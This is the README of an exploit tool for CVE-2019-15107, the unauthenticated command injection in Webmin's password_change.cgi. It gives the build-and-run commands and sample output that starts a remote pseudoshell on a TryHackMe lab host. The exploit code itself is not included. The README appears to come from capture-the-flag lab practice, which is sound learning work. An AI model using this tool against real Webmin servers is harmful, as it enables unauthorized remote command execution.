
CVE-2019-15107 Webmin 익스플로잇 (C 언어)
Webmin <=1.920에서 문제가 발견되었습니다. password_change.cgi의 old 매개변수에는 명령 삽입 취약점이 포함되어 있습니다. [NVD]
$ git clone https://github.com/whokilleddb/CVE-2019-15107
$ cd CVE-2019-15107
$ make
$ ./exploit http://thomaswreath.thm:10000
[+] CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
[+] Target URI: http://thomaswreath.thm:10000
======Headers======
HTTP/1.0 200 Document follows
Server: MiniServ/1.890
Date: Sat, 14 Aug 2021 23:40:01 GMT
Content-type: text/html; Charset=iso-8859-1
Connection: close
[~] The Given Server Is Running In SSL MODE
[+] Switching To SSL
[+] The Given Server Might Be Vulnerable To CVE-2019-15107
[+] The Given Server IS VULNERABLE To CVE-2019-15107
[+] Starting Pseudoshell
[+] Maximum Command Length(CMD_SIZE) Is Set To: 2048
[+] To Exit, type: exit()
PS: 이 익스플로잇은 제가 TryHackMe의 Wreath Network를 진행하는 동안 만든 것으로, 여기에 표시된 예시는 해당 박스에 대응됩니다.
Q : 왜 Python3 대신 C인가요?
A : 왜냐하면 나는 사이코패스이기 때문입니다